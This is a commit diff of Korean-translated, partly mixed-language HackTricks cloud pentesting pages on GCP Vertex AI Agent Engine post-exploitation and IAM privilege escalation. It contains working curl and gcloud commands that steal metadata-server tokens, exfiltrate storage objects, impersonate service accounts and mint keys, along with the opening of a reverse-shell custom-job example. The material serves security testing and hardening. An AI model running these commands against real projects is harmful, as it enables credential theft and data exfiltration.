Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-04-07 13:04:43 +00:00
parent bbdf301380
commit 0549aef99a
4 changed files with 436 additions and 139 deletions

View File

@@ -0,0 +1,271 @@
# GCP - Vertex AI Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI Agent Engine / Reasoning Engine
이 페이지는 Google이 관리하는 런타임 내부에서 공격자 제어 도구나 코드를 실행하는 **Vertex AI Agent Engine / Reasoning Engine** 워크로드에 중점을 둡니다.
For the general Vertex AI overview check:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
### 이 서비스가 특별한 이유
Agent Engine는 유용하지만 위험한 패턴을 도입합니다: **개발자가 제공한 코드가 Google이 관리하는 런타임 안에서 Google이 관리하는 ID로 실행되는 것**.
주목할 신뢰 경계는 다음과 같습니다:
- **Consumer project**: 귀하의 프로젝트와 데이터.
- **Producer project**: 백엔드 서비스를 운영하는 Google 관리 프로젝트.
- **Tenant project**: 배포된 agent 인스턴스에 전용된 Google 관리 프로젝트.
Google의 Vertex AI IAM 문서에 따르면, Vertex AI 리소스는 리소스 ID로 **Vertex AI service agents**를 사용할 수 있으며, 해당 service agents는 기본적으로 **프로젝트 내 모든 Cloud Storage 리소스 및 BigQuery 데이터에 대한 읽기 전용 접근**을 가질 수 있습니다. Agent Engine 내부에서 실행되는 코드가 런타임 자격증명(runtime credentials)을 탈취할 수 있다면, 그 기본 접근 권한은 즉시 흥미로운 대상이 됩니다.
### 주요 악용 경로
1. 관리되는 런타임 내부에서 공격자가 제어하는 도구 코드가 실행되도록 agent를 배포하거나 수정합니다.
2. 프로젝트 ID, 서비스 계정 ID, OAuth 스코프, 액세스 토큰을 복구하기 위해 **metadata server**에 질의합니다.
3. 탈취한 토큰을 **Vertex AI Reasoning Engine P4SA / service agent**로 재사용합니다.
4. 그 service agent가 허용하는 프로젝트 전체의 스토리지 데이터를 읽기 위해 **consumer project**로 피벗합니다.
5. 동일한 ID로 접근 가능한 **producer****tenant** 환경으로 피벗합니다.
6. 내부 Artifact Registry 패키지를 열거하고 `Dockerfile.zip`, `requirements.txt`, `code.pkl` 같은 tenant 배포 아티팩트를 추출합니다.
이는 단순히 "자기 agent에서 코드 실행" 문제만이 아닙니다. 핵심 문제는 다음의 조합입니다:
- **metadata로 접근 가능한 자격증명**
- **광범위한 기본 service-agent 권한**
- **광범위한 OAuth 스코프**
- **하나의 관리형 서비스 뒤에 숨겨진 멀티 프로젝트 신뢰 경계**
## 열거
### Agent Engine 리소스 식별
The resource name format used by Agent Engine is:
```text
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
```
token with Vertex AI access를 가지고 있다면, Reasoning Engine API를 직접 열거하세요:
```bash
PROJECT_ID=<project-id>
LOCATION=<location>
curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
```
배포 로그를 확인하세요. 이 로그들은 패키징 또는 런타임 시작 시 사용되는 **internal producer Artifact Registry paths**를 leak할 수 있습니다:
```bash
gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json
```
Unit 42 연구는 다음과 같은 내부 경로를 관찰했습니다:
```text
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
```
## 런타임에서 메타데이터 자격 증명 탈취
에이전트 런타임에서 코드를 실행할 수 있다면, 먼저 메타데이터 서비스에 질의하세요:
```bash
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
```
관심 있는 필드에는 다음이 포함됩니다:
- 프로젝트 식별자
- 연결된 service account / service agent
- runtime에서 사용 가능한 OAuth scopes
그런 다음 연결된 identity에 대한 토큰을 요청합니다:
```bash
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
```
token을 검증하고 부여된 scopes를 확인하세요:
```bash
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo
```
> [!WARNING]
> 연구가 보고된 이후 Google은 ADK 배포 워크플로의 일부를 변경했으므로 이전의 배포 스니펫이 현재 SDK와 정확히 일치하지 않을 수 있습니다. 중요한 primitive는 여전히 동일합니다: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**.
## Consumer-project pivot: service-agent data theft
런타임 토큰이 탈취된 후에는 service agent가 consumer project에 대해 실제로 어떤 접근 권한을 가지는지 테스트하세요.
문서화된 위험한 기본 권한은 광범위한 **read access to project data** 입니다. Unit 42 연구는 특히 다음을 검증했습니다:
- `storage.buckets.get`
- `storage.buckets.list`
- `storage.objects.get`
- `storage.objects.list`
탈취한 토큰으로 실무 검증:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
```
이는 손상되었거나 악의적인 agent를 **project-wide storage exfiltration primitive**로 전환시킵니다.
## Producer-project pivot: 내부 Artifact Registry 접근
동일한 도용된 identity는 **Google-managed producer 리소스**에도 작동할 수 있습니다.
먼저 로그에서 확인된 내부 리포지토리 URIs를 테스트하세요. 그런 다음 Artifact Registry API로 패키지를 열거하세요:
```python
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])
```
raw bearer token만 있는 경우, REST API를 직접 호출하세요:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
```
This is valuable even if write access is blocked because it exposes:
- 내부 이미지 이름
- 사용 중단된 이미지
- 공급망 구조
- 후속 연구를 위한 패키지/버전 인벤토리
For more Artifact Registry background check:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
## Tenant-project pivot: 배포 아티팩트 검색
Reasoning Engine 배포는 해당 인스턴스에 대해 Google이 관리하는 **tenant project**에도 흥미로운 아티팩트를 남깁니다.
The Unit 42 research found:
- `Dockerfile.zip`
- `code.pkl`
- `requirements.txt`
Use the stolen token to enumerate accessible storage and search for deployment artifacts:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
```
테넌트 프로젝트의 아티팩트는 다음을 노출할 수 있습니다:
- 내부 버킷 이름
- 내부 이미지 참조
- 패키징 가정
- 종속성 목록
- 직렬화된 에이전트 코드
블로그는 다음과 같은 내부 참조도 관찰했습니다:
```text
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
```
참조된 제한된 버킷을 읽을 수 없더라도, leaked paths는 내부 인프라를 매핑하는 데 도움이 된다.
## `code.pkl` and conditional RCE
배포 파이프라인이 실행 가능한 에이전트 상태를 **Python `pickle`** 형식으로 저장한다면, 이를 고위험 대상으로 간주해야 한다.
즉각적인 문제는 **기밀성**이다:
- 오프라인 deserialization은 코드 구조를 노출시킬 수 있다
- 패키지 형식은 leaks implementation details
더 큰 문제는 **conditional RCE**이다:
- 공격자가 서비스 측 deserialization 이전에 serialized artifact를 변조할 수 있고
- 파이프라인이 이후 해당 pickle을 로드한다면
- 관리형 런타임 내부에서 arbitrary code execution이 가능해진다
이는 그 자체로 독립적인 익스플로잇은 아니다. 이는 **dangerous deserialization sink**로, 어떤 artifact write나 supply-chain tampering primitive와 결합될 때 치명적이 된다.
## OAuth scopes and Workspace blast radius
metadata 응답은 런타임에 연결된 **OAuth scopes**도 노출한다.
그 스코프가 최소 요구 범위보다 넓다면, 탈취된 토큰이 GCP APIs 이상의 대상에 유용해질 수 있다. IAM은 여전히 해당 identity가 권한이 있는지를 결정하지만, 광범위한 스코프는 blast radius를 확대하고 이후의 misconfigurations를 더 위험하게 만든다.
Workspace 관련 scope를 발견하면, 손상된 identity가 Workspace impersonation 또는 delegated access로 이어지는 경로가 있는지 교차 확인하라:
{{#ref}}
../gcp-to-workspace-pivoting/README.md
{{#endref}}
## 하드닝 / 탐지
### 기본 제공 관리형 ID 대신 사용자 지정 서비스 계정 선호
현재 Agent Engine 문서는 배포된 에이전트에 대해 **custom service account**를 설정하는 것을 지원한다. 이는 blast radius를 줄이는 가장 깔끔한 방법이다:
- 기본의 광범위한 service agent에 대한 의존성 제거
- 에이전트가 필요로 하는 최소 권한만 부여
- 런타임 신원을 감사 가능하고 의도적으로 범위를 제한되게 만듦
### 실제 서비스 에이전트 접근 권한 검증
Agent Engine이 사용되는 모든 프로젝트에서 Vertex AI service agent의 실질적 접근 권한(effective access)을 검사하라:
```bash
gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'
```
첨부된 identity가 다음을 읽을 수 있는지에 집중하세요:
- all GCS buckets
- BigQuery datasets
- Artifact Registry repositories
- secrets or internal registries reachable from build/deployment workflows
### 에이전트 코드를 특권 코드 실행으로 취급하기
에이전트가 실행하는 모든 도구/함수는 메타데이터 접근 권한이 있는 VM에서 실행되는 코드처럼 검토해야 합니다. 실무적으로 의미하는 바는:
- review agent tools for direct HTTP access to metadata endpoints
- review logs for references to internal `pkg.dev` repositories and tenant buckets
- review any packaging path that stores executable state as `pickle`
## 참조
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## IAM
IAM에 대한 자세한 정보는 다음에서 확인하세요:
IAM에 대한 자세한 정보는 다음을 참조하세요:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,16 +12,16 @@ IAM에 대한 자세한 정보는 다음에서 확인하세요:
### `iam.roles.update` (`iam.roles.get`)
언급된 권한을 가진 attacker는 당신에게 할당된 역할을 업데이트하 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
언급된 permissions을 가진 attacker는 당신에게 할당된 role을 업데이트하 다음과 같은 다른 resources에 대한 추가 permissions를 부여할 수 있습니다:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
**creation, exploit and cleaning of a vuln environment here**을 자동화하는 스크립트는 찾을 수 있으며, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
vuln 환경의 생성, exploit 및 정리 자동화를 위한 스크립트는 **여기**에서 찾을 수 있, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
`iam.roles.create` 권한은 프로젝트/조직에서 커스텀 역할을 생성할 수 있게 합니다. 공격자 손에 들어가면 위험한데, 이는 새로운 권한 세트를 정의하여 나중에 엔티티에 할당(예: `iam.serviceAccounts.setIamPolicy` 권한을 사용하여)함으로써 권한 상승을 시도할 수 있기 때문입니다.
iam.roles.create 권한은 프로젝트/조직에서 커스텀 역할을 생성할 수 있게 합니다. attacker의 손에 들어가면 이는 위험한데, 새로운 권한 집합을 정의해 이후 해당 권한들을 엔티티에 할당(예: iam.serviceAccounts.setIamPolicy 권한을 사용하여)함으로써 권한 상승을 시도할 수 있기 때문입니다.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
@@ -31,32 +31,38 @@ gcloud iam roles create <ROLE_ID> \
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
권한이 언급된 공격자는 **서비스 계정에 속한 액세스 토큰을 요청할 수 있으므로**, 우리보다 권한이 더 많은 서비스 계정의 액세스 토큰을 요청할 수 있습니다.
앞서 언급한 권한을 가진 공격자는 **Service Account에 속한 access token을 요청할 수 있습니다**, 따라서 우리보다 더 많은 권한을 가진 Service Account의 access token을 요청하는 것이 가능합니다.
공격자가 제어하는 코드가 metadata service에서 **managed Vertex AI Agent Engine runtime token**을 탈취해 Vertex AI service agent로 재사용하는 **리소스 기반** 변형에 대해서는 다음을 확인하세요:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
자동화된 스크립트는 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)에서 확인할 수 있, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)에 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
다음에서 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) 스크립트를 찾아 취약 환경의 생성·익스플로잇·정리 과정을 자동화할 수 있으며, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
### `iam.serviceAccountKeys.create`
앞서 언급 권한을 가진 공격자는 **Service Account에 대한 사용자 관리 키(user-managed key)를 생성할 수 있으며**, 이를 통해 해당 Service Account로 GCP에 접근할 수 있습니다.
언급 권한을 가진 공격자는 **create a user-managed key for a Service Account** 할 수 있으며, 이를 통해 해당 Service Account로 GCP에 액세스할 수 있습니다.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
취약 환경의 [**생성, 악용 및 정리 자동화 스크립트는 여기에서 확인할 수 있습니다**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 및 이 권한을 악용하는 python 스크립트는 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)에 있습니다. 자세한 내용은 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
참고: **`iam.serviceAccountKeys.update`는 SA의 키를 수정하는 데 작동하지 않습니다**. 해당 작업을 수행하려면 `iam.serviceAccountKeys.create` 권한도 필요합니다.
참고: **`iam.serviceAccountKeys.update`서비스 계정(SA)의 키를 수정하는 데 작동하지 않습니다**. 그렇게 하려면 `iam.serviceAccountKeys.create` 권한도 필요합니다.
### `iam.serviceAccounts.implicitDelegation`
만약 어떤 Service Account에 대해 **`iam.serviceAccounts.implicitDelegation`** 권한을 가지고 있고, 그 Service Account가 제3의 Service Account에 대해 **`iam.serviceAccounts.getAccessToken`** 권한을 가지고 있다면, implicitDelegation을 용해 **그 제3의 Service Account용 토큰을 생성할 수 있습니다**. 아래 다이어그램이 설명에 도움이 됩니다.
만약 어떤 서비스 계정에 대해 **`iam.serviceAccounts.implicitDelegation`** 권한을 가지고 있고, 그 서비스 계정이 제3의 서비스 계정에 대해 **`iam.serviceAccounts.getAccessToken`** 권한을 가지고 있다면, implicitDelegation을 용해 그 제3 서비스 계정의 토큰을 **생성할 수 있습니다**. 설명을 돕기 위한 다이어그램은 다음과 같습니다.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
참고로 [**문서**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면 `gcloud`위임은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용하여 토큰을 생성하는 경우에만 작동합니다. 따라서 아래는 API를 직접 사용해 토큰을 얻는 방법입니다:
참고로 [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면, `gcloud`delegation은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용 토큰을 생성하는 경우에만 작동합니다. 아래는 API를 직접 사용해 토큰을 얻는 방법입니다:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -71,19 +77,19 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul
### `iam.serviceAccounts.signBlob`
언급된 권한을 가진 공격자는 **sign of arbitrary payloads in GCP** 할 수 있습니다. 따라서 대상 SA의 unsigned JWT를 생성한 뒤 이를 blob으로 전송하여 해당 SA로부터 JWT에 서명을 받는 것이 가능합니다. 자세한 내용은 [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)를 참하세요.
언급된 권한을 가진 공격자는 **GCP에서 임의 페이로드에 서명할 수 있습니다**. 따라서 대상 SA의 서명이 없는 JWT를 생성한 뒤 이를 blob으로 전송하여 대상 SA에게 JWT에 서명하게 할 수 있습니다. 자세한 내용은 [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)를 참하세요.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
언급된 권한을 가진 공격자는 **sign well-formed JSON web tokens (JWTs)** 할 수 있습니다. 이전 방과의 차이점은 **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT** 를 사용한다는 점입니다. 이 방법은 사용이 더 쉬우나 서명할 수 있는 것은 임의의 바이트가 아니라 JWT에 한정됩니다.
언급된 권한을 가진 공격자는 **잘 형성된 JSON 웹 토큰(JWT)을 서명할 수 있습니다**. 이전 방과의 차이는 **JWT를 포함한 blob에 google이 서명하도록 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 점**입니다. 이로써 사용이 더 쉬워지지만, 모든 바이트 대신 JWT만 서명할 수 있습니다.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
언급된 권한을 가진 공격자는 서비스 계정에 **add IAM policies to service accounts** 할 수 있습니다. 이를 용하여 서비스 계정을 가장하는 데 필요한 권한을 **grant yourself** 할 수 있습니다. 다음 예에서는 관심 있는 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
언급된 권한을 가진 공격자는 **서비스 계정에 IAM 정책을 추가할 수 있습니다**. 이를 용하여 서비스 계정을 가장하기 위해 필요한 권한을 **자신에게 부여할 수 있습니다**. 다음 예에서는 우리가 관심 있는 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -94,45 +100,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
다음에서 스크립트를 찾을 수 있습니다: [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
**iam.serviceAccounts.actAs permission**은 **iam:PassRole permission from AWS** 유사합니다. Compute Engine 인스턴스 시작과 같은 작업을 행할 때 필수적인데, Service Account "actAs"할 수 있게 허용하여 권한 관리를 안전하게 니다. 이 권한이 없으면 사용자가 부적절한 접근 권한을 얻을 수 있습니다. 또한 **iam.serviceAccounts.actAs**를 악용하는 방법은 여러 가지가 있으며, 각 방법마다 요구되는 권한 집합이 달라 일부 다른 방법들 단 하나의 권한만 요구하는 것과 대조됩니다.
**iam.serviceAccounts.actAs 권한**은 AWS의 **iam:PassRole 권한** 유사합니다. 이 권한은 Compute Engine 인스턴스 시작과 같은 작업을 행할 때 Service Account "actAs" 할 수 있는 능력을 부여하여 권한 관리를 안전하게 하는 데 필수적입니다. 이 권한이 없으면 사용자가 부적절한 접근을 얻을 수 있습니다. 또한 **iam.serviceAccounts.actAs**를 악용하는 방법은 여러 가지가 있으며, 각 방법은 여러 권한을 필요로 하는 반면 다른 방법들 단 하나의 권한만 필요로 합니다.
#### 서비스 계정 가장 <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
서비스 계정을 가장하는 것은 **새롭고 더 높은 권한을 얻기**에 매우 유용할 수 있습니다. 다른 서비스 계정을 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)할 수 있는 방법은 세 가지가 있습니다:
서비스 계정을 가장하는 것은 새로운 더 높은 권한을 얻는 데 매우 유용할 수 있습니다. 다른 서비스 계정을 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) 할 수 있는 방법은 세 가지가 있습니다:
- 인증 **using RSA private keys** (covered above)
- 권한 부여 **using Cloud IAM policies** (covered here)
- Authentication **using RSA private keys** (covered above)
- Authorization **using Cloud IAM policies** (covered here)
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
### `iam.serviceAccounts.getOpenIdToken`
언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이 신원을 증명하는 데 사용되며 반드시 리소스에 대한 암묵적인 권한을 포함하는 것은 아닙니다.
언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이러한 토큰은 신원을 증명하는 데 사용되며 반드시 리소스에 대한 암묵적인 권한을 포함하는 것은 아닙니다.
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), audience(토큰을 사용해 인증하려는 서비스)를 지정해야 하며, 그러면 서비스 계정과 JWT의 audience를 나타내는 google이 서명한 JWT를 받게 됩니다.
[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)에 따르면, 토큰을 사용할 서비스(즉 audience)를 지정해야 하며, 그러면 google이 서명한 JWT를 받아 서비스 계정과 JWT의 audience가 표시됩니다.
접근 권한이 있다면 다음으로 OpenIDToken을 생성할 수 있습니다:
OpenIDToken을 생성하려면(권한이 있는 경우) 다음을 사용하면 됩니다:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
이제 이를 사용해 서비스에 액세스할 수 있습니다:
그런 다음 이를 사용해 서비스에 액세스할 수 있습니다:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
이러한 토큰을 통 인증을 지원하는 일부 서비스는 다음과 같습니다:
이러한 종류의 토큰을 통 인증을 지원하는 일부 서비스는 다음과 같습니다:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC를 사용하는 경우)
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법의 예는 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
서비스 계정을 대신하여 OpenID token을 생성하는 방법의 예는 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
## 참고자료

View File

@@ -10,17 +10,23 @@ Vertex AI에 대한 자세한 내용은 다음을 확인하세요:
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
런타임 메타데이터 서비스, 기본 Vertex AI 서비스 에이전트, 그리고 consumer/producer/tenant 리소스로의 크로스-프로젝트 피벗을 이용한 **Agent Engine / Reasoning Engine** 포스트 익스플로이테이션 경로는 다음을 확인하세요:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태로 임의의 코드를 실행할 수 있습니다.**
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 있으면, 공격자는 권한 상승된 상태로 **임의의 코드를 실행할 수 있습니다**.
공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)를 생성함으로써 작동합니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 은 그 서비스 계정의 권한을 상속합니다. 은 GCP가 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
것은 공격자가 제어하는 코드를 실행하는 custom training job을 생성해서 동작합니다(커스텀 컨테이너 또는 Python 패키지). `--service-account` 플래그로 권한이 있는 서비스 계정을 지정하면, 해당 작업은 그 서비스 계정의 권한을 상속합니다. 작업은 Google이 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth 액세스 토큰을 추출할 수 있습니다.
**영향**: 대상 서비스 계정 권한으로 완전한 권한 상승.
**Impact**: 대상 서비스 계정 권한으로 완전한 권한 상승.
<details>
<summary>reverse shell로 custom job 생성</summary>
<summary>Create custom job with reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
### `aiplatform.models.upload`, `aiplatform.models.get`
